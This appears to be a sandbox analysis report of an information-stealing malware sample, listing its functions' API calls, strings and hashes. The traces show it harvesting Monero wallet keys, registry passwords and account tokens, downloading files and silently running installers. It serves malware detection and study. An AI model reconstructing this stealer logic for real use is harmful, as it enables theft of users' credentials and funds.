API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalStringmemcmpmemset$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 1191620704-0
Opcode ID: d46e546e39176c8654664f8a1f059d7066587e8b987b8a9342b8c2912b6679f1
Instruction ID: 7fb650d72ef6a96645f2088bd9c5abce22c8b72b4178c1c7bf7a5a1aa3cf5027
Opcode Fuzzy Hash: d46e546e39176c8654664f8a1f059d7066587e8b987b8a9342b8c2912b6679f1
Instruction Fuzzy Hash: 91713776910208ABDB14FBA0DC49FEE7379BF48300F048599F605A7182EA75DB59CFA1

Function 00051310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00051327

Part of subcall function 000512A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 000512B4
Part of subcall function 000512A0: HeapAlloc.KERNEL32(00000000), ref: 000512BB
Part of subcall function 000512A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 000512D7
Part of subcall function 000512A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 000512F5
Part of subcall function 000512A0: RegCloseKey.ADVAPI32(?), ref: 000512FF

lstrcatA.KERNEL32(?,00000000), ref: 0005134F
lstrlenA.KERNEL32(?), ref: 0005135C
lstrcatA.KERNEL32(?,.keys), ref: 00051377

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

Part of subcall function 0006A9B0: lstrlenA.KERNEL32(?,00071110,?,00000000,00070AEF), ref: 0006A9C5
Part of subcall function 0006A9B0: lstrcpy.KERNEL32(00000000), ref: 0006AA04
Part of subcall function 0006A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0006AA12

Part of subcall function 0006A8A0: lstrcpy.KERNEL32(?,00070AEF), ref: 0006A905

Part of subcall function 00068B60: GetSystemTime.KERNEL32(?,00BC4790,000705AE,?,?,?,?,?,?,?,?,?,00054963,?,00000014), ref: 00068B86

Part of subcall function 0006A920: lstrcpy.KERNEL32(00000000,?), ref: 0006A972
Part of subcall function 0006A920: lstrcatA.KERNEL32(00000000), ref: 0006A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00051465

Part of subcall function 0006A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0006A7E6

Part of subcall function 000599C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 000599EC
Part of subcall function 000599C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00059A11
Part of subcall function 000599C0: LocalAlloc.KERNEL32(00000040,?), ref: 00059A31
Part of subcall function 000599C0: ReadFile.KERNEL32(000000FF,?,00000000,000602E7,00000000), ref: 00059A5A
Part of subcall function 000599C0: LocalFree.KERNEL32(000602E7), ref: 00059A90
Part of subcall function 000599C0: CloseHandle.KERNEL32(000000FF), ref: 00059A9A

DeleteFileA.KERNEL32(00000000), ref: 000514EF
memset.MSVCRT ref: 00051516

Strings

.keys, xrefs: 0005136B
\Monero\wallet.keys, xrefs: 0005138D
SOFTWARE\monero-project\monero-core, xrefs: 00051335
wallet_path, xrefs: 00051330

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseHeapLocallstrlenmemset$CopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 1930502592-218353709
Opcode ID: e16bf8320fa5f5b86b5cb20fc77d2423d8fb384cca52bf8d147caf9c2c98847b
Instruction ID: 69bf5ec9df855ff05bbc3605b8521cbd8d0e5b67a464478879b064ce9d3d19b2
Opcode Fuzzy Hash: e16bf8320fa5f5b86b5cb20fc77d2423d8fb384cca52bf8d147caf9c2c98847b
Instruction Fuzzy Hash: 895162B1E502189BCB15FB60DD96BED737DAF54300F404198B60A72082EF705B89CFA6

Function 000652C0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0006A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0006A7E6

Part of subcall function 00056280: InternetOpenA.WININET(00070DFE,00000001,00000000,00000000,00000000), ref: 000562E1
Part of subcall function 00056280: StrCmpCA.SHLWAPI(?,00BCDB78), ref: 00056303
Part of subcall function 00056280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00056335
Part of subcall function 00056280: HttpOpenRequestA.WININET(00000000,GET,?,00BD1B98,00000000,00000000,00400100,00000000), ref: 00056385
Part of subcall function 00056280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 000563BF
Part of subcall function 00056280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 000563D1

Part of subcall function 0006A8A0: lstrcpy.KERNEL32(?,00070AEF), ref: 0006A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00065318
lstrlenA.KERNEL32(00000000), ref: 0006532F

Part of subcall function 00068E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00068E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00065364
lstrlenA.KERNEL32(00000000), ref: 00065383
strtok.MSVCRT(00000000,?), ref: 0006539E
lstrlenA.KERNEL32(00000000), ref: 000653AE

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

Strings

ERROR, xrefs: 0006546F
ERROR, xrefs: 0006530A
ERROR, xrefs: 000653B9
ERROR, xrefs: 000654A9
ERROR, xrefs: 00065432

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSendstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3532888709-1526165396
Opcode ID: 36b5fcd423b3f86e86a0fc0fe1e72520d24d372bc4bd3fb348489fa5968205c2
Instruction ID: 0d920851a97f67b834f01d83c7da06d4530919e73f6bc6156838fd34d9c89bf5
Opcode Fuzzy Hash: 36b5fcd423b3f86e86a0fc0fe1e72520d24d372bc4bd3fb348489fa5968205c2
Instruction Fuzzy Hash: 6851D870A101489FDB14FF64DD96AEE777AAF11301F504018E90A6B593EF346B4ACFA2

Function 00062E30 Relevance: 16.2, APIs: 3, Strings: 6, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

ShellExecuteEx.SHELL32(0000003C), ref: 000631C5
ShellExecuteEx.SHELL32(0000003C), ref: 0006335D
ShellExecuteEx.SHELL32(0000003C), ref: 000634EA

Strings

.dll, xrefs: 000631E5
"" , xrefs: 0006309A
/i ", xrefs: 000633E4
/passive, xrefs: 0006345B
<, xrefs: 00063490
.msi, xrefs: 00063398

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<
API String ID: 2507796910-1961616256
Opcode ID: 7cc78d78f23d75aa7148b96e69efa1b7103de0d5ce93e802d0de64f7b5ce6468
Instruction ID: 10b12a69e97ea19df6aeb3437aef2dd74b616733277ebede46900a2b4e7fed2a
Opcode Fuzzy Hash: 7cc78d78f23d75aa7148b96e69efa1b7103de0d5ce93e802d0de64f7b5ce6468
Instruction Fuzzy Hash: 79121C719101089ADB19FFA0DC92FEEB77AAF15300F504169E50677192EF342B4ACFA2

Function 000575D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 000572D0: memset.MSVCRT ref: 00057314
Part of subcall function 000572D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,00057C90), ref: 0005733A
Part of subcall function 000572D0: RegEnumValueA.ADVAPI32(00057C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 000573B1
Part of subcall function 000572D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0005740D
Part of subcall function 000572D0: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00057C90,80000001,000661C4,?,?,?,?,?,00057C90,?), ref: 00057452
Part of subcall function 000572D0: HeapFree.KERNEL32(00000000,?,?,?,?,00057C90,80000001,000661C4,?,?,?,?,?,00057C90,?), ref: 00057459

lstrcatA.KERNEL32(00000000,000717FC,00057C90,80000001,000661C4,?,?,?,?,?,00057C90,?,?,000661C4), ref: 00057606
lstrcatA.KERNEL32(00000000,00000000,00000000), ref: 00057648
lstrcatA.KERNEL32(00000000, : ), ref: 0005765A
lstrcatA.KERNEL32(00000000,00000000,00000000,00000000), ref: 0005768F
lstrcatA.KERNEL32(00000000,00071804), ref: 000576A0
lstrcatA.KERNEL32(00000000,00000000,00000000,00000000), ref: 000576D3
lstrcatA.KERNEL32(00000000,00071808), ref: 000576ED
task.LIBCPMTD ref: 000576FB

Strings

: , xrefs: 0005764E

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 5cb1cdbf2376c86b31b143b98999156712441506e1d63c90be5631c88a82ef1d
Instruction ID: 7ba9d25fe2257e9eb4b86df5fd62f74ed59587a59c33a59f279fbc6328167432
Opcode Fuzzy Hash: 5cb1cdbf2376c86b31b143b98999156712441506e1d63c90be5631c88a82ef1d
Instruction Fuzzy Hash: 11315E71D00209DFCF04EBB8EC89DFF7379BB44302B148119F906A7291DA34A94ADB92

Function 000572D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00057314
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,00057C90), ref: 0005733A
RegEnumValueA.ADVAPI32(00057C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 000573B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0005740D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00057C90,80000001,000661C4,?,?,?,?,?,00057C90,?), ref: 00057452
HeapFree.KERNEL32(00000000,?,?,?,?,00057C90,80000001,000661C4,?,?,?,?,?,00057C90,?), ref: 00057459

Part of subcall function 00059240: vsprintf_s.MSVCRT ref: 0005925B

task.LIBCPMTD ref: 00057555

Strings

Password, xrefs: 00057401

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: 3844fb153ea3e541bcaffa994112f5698eac2e61e8c7e9575eb503b41833527a
Instruction ID: 56492a7b6da944a7adbc670ad84b6941ca5969731263b5a9e81dbbd85d48744f
Opcode Fuzzy Hash: 3844fb153ea3e541bcaffa994112f5698eac2e61e8c7e9575eb503b41833527a
Instruction Fuzzy Hash: AA611CB5D042589BDB24DB50DC45BDAB7B8BF44301F0081E9EA4DA6181EBB05FC9CFA1

Function 00068100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00BD06B8,00000000,?,00070E2C,00000000,?,00000000), ref: 00068130
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,00BD06B8,00000000,?,00070E2C,00000000,?,00000000,00000000), ref: 00068137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00068158
__aulldiv.LIBCMT ref: 00068172
__aulldiv.LIBCMT ref: 00068180
wsprintfA.USER32 ref: 000681AC

Strings

%d MB, xrefs: 000681A3
@, xrefs: 0006814D

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: e0809ba0ed203a127959797dee1781f8b4ee2f18345d10fbbdcc73478c46be48
Instruction ID: 00db0627ee5d6e1d7aa32727b9cbd4cc7be19b0e8266794c645698da056500ca
Opcode Fuzzy Hash: e0809ba0ed203a127959797dee1781f8b4ee2f18345d10fbbdcc73478c46be48
Instruction Fuzzy Hash: 05214DB1E44318ABDB00DFD5DC49FAEB7B9FB44B00F104209F605BB280D77859018BA5

Function 000560A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0006A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0006A7E6

Part of subcall function 000547B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 000547EA
Part of subcall function 000547B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00054801
Part of subcall function 000547B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00054818
Part of subcall function 000547B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00054839
Part of subcall function 000547B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00054849

InternetOpenA.WININET(00070DF7,00000001,00000000,00000000,00000000), ref: 0005610F
StrCmpCA.SHLWAPI(?,00BCDB78), ref: 00056147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0005618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 000561B3
InternetReadFile.WININET(00062B61,?,00000400,?), ref: 000561DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0005620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00056249
InternetCloseHandle.WININET(00062B61), ref: 00056253
InternetCloseHandle.WININET(00000000), ref: 00056260

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 4287319946-0
Opcode ID: ef7874b989c9094bfcbadecc17bc66eda3c386395dc7be51bd7bf774ebe30d76
Instruction ID: c9ccb5391cda83d425a6499da186fe7a34072497d3996bb530b44934f10faeee
Opcode Fuzzy Hash: ef7874b989c9094bfcbadecc17bc66eda3c386395dc7be51bd7bf774ebe30d76
Instruction Fuzzy Hash: 815180B1A00208ABDB20DF90DC49BEF77B9FB44701F508199BA05A72C1DB756A89CF95

Function 000670D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 000670DE

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

OpenProcess.KERNEL32(001FFFFF,00000000,0006730D,000705BD), ref: 0006711C
memset.MSVCRT ref: 0006716A
??_V@YAXPAX@Z.MSVCRT(?), ref: 000672BE

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0006718C

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: befecf2d18fb0cd247d7b57bef0c3d327aa0ccca67990d7683e6773c626694af
Instruction ID: 509e7192d5a3db91850e7d6eef565158f73c5c5774458cb3061fae37259e1cda
Opcode Fuzzy Hash: befecf2d18fb0cd247d7b57bef0c3d327aa0ccca67990d7683e6773c626694af
Instruction Fuzzy Hash: 6C5181B0D04219DFDB24EB94DC95BEEB3B6AF04304F1041A9E60977182EB786E88CF55

Function 0005BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

Part of subcall function 0006A9B0: lstrlenA.KERNEL32(?,00071110,?,00000000,00070AEF), ref: 0006A9C5
Part of subcall function 0006A9B0: lstrcpy.KERNEL32(00000000), ref: 0006AA04
Part of subcall function 0006A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0006AA12

Part of subcall function 0006A920: lstrcpy.KERNEL32(00000000,?), ref: 0006A972
Part of subcall function 0006A920: lstrcatA.KERNEL32(00000000), ref: 0006A982

Part of subcall function 0006A8A0: lstrcpy.KERNEL32(?,00070AEF), ref: 0006A905

Part of subcall function 0006A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0006A7E6

Part of subcall function 00059E10: memcmp.MSVCRT(?,v20,00000003), ref: 00059E2D

lstrlenA.KERNEL32(00000000), ref: 0005BC9F

Part of subcall function 00068E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00068E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0005BCCD
lstrlenA.KERNEL32(00000000), ref: 0005BDA5
lstrlenA.KERNEL32(00000000), ref: 0005BDB9

Strings

AccountTokens, xrefs: 0005BB49
AccountId, xrefs: 0005BCC4
SELECT service, encrypted_token FROM token_service, xrefs: 0005BBEB
AccountTokens, xrefs: 0005BABA

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 1440504306-1079375795
Opcode ID: 5b266bee5e73371a37843df469ff075a1ff6362d746d2f045937955c2a91837a
Instruction ID: 0e4889c222d9e94a54adbce908fa4b5e4a134a5bdd3045a86f6c417cb794021a
Opcode Fuzzy Hash: 5b266bee5e73371a37843df469ff075a1ff6362d746d2f045937955c2a91837a
Instruction Fuzzy Hash: EBB10E71A10108ABDB04FBA4DD96EEE737AAF55300F504169F506B7092EF346A49CFB2

Function 00066770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32(?,?,00066A26,00070AEF), ref: 00066774
ExitProcess.KERNEL32 ref: 000667A5
ExitProcess.KERNEL32 ref: 000667AF
ExitProcess.KERNEL32 ref: 000667B9
ExitProcess.KERNEL32 ref: 000667C3
ExitProcess.KERNEL32 ref: 000667CD

Strings

*, xrefs: 0006678C

Memory Dump Source

Source File: 00000004.00000002.2121570702.0000000000051000.00000080.00000001.01000000.0000000A.sdmp, Offset: 00050000, based on PE: true

Associated: 00000004.00000002.2121549363.0000000000050000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121590739.000000000006E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121605660.000000000007B000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000101000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000010D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.0000000000132000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121626453.000000000029A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2121732854.00000000002AC000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_50000_num.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: e67b16ba7402c0f144211850f7f7719bf1fe2ad198e1cd91b183471af50807e0
Instruction ID: a20d0f7e4c61a36404b96f12130e4da97fe16bb00c3befbe7a3fa09f7f38c423
Opcode Fuzzy Hash: e67b16ba7402c0f144211850f7f7719bf1fe2ad198e1cd91b183471af50807e0
Instruction Fuzzy Hash: 19F0FE31948319EFD7449FE0F90E7ACBB70FB05707F1401AAE60986290D6754B519BD6

Function 00059E10 Relevance: 12.2, APIs: 4, Strings: 4, Instructions: 167memoryCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT(?,v20,00000003), ref: 00059E2D

Part of subcall function 0006A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0006A7E6

Part of subcall function 00060A60: memset.MSVCRT ref: 00060C1C
Part of subcall function 00060A60: lstrcatA.KERNEL32(?,00000000), ref: 00060C35
Part of subcall function 00060A60: lstrcatA.KERNEL32(?,00070D7C), ref: 00060C47
Part of subcall function 00060A60: lstrcatA.KERNEL32(?,00000000), ref: 00060C5D
Part of subcall function 00060A60: lstrcatA.KERNEL32(?,00070D80), ref: 00060C6F

Part of subcall function 0006A740: lstrcpy.KERNEL32(00070AEF,00000000), ref: 0006A788

memcmp.MSVCRT(?,v10,00000003), ref: 00059EAF
memset.MSVCRT ref: 00059EE8
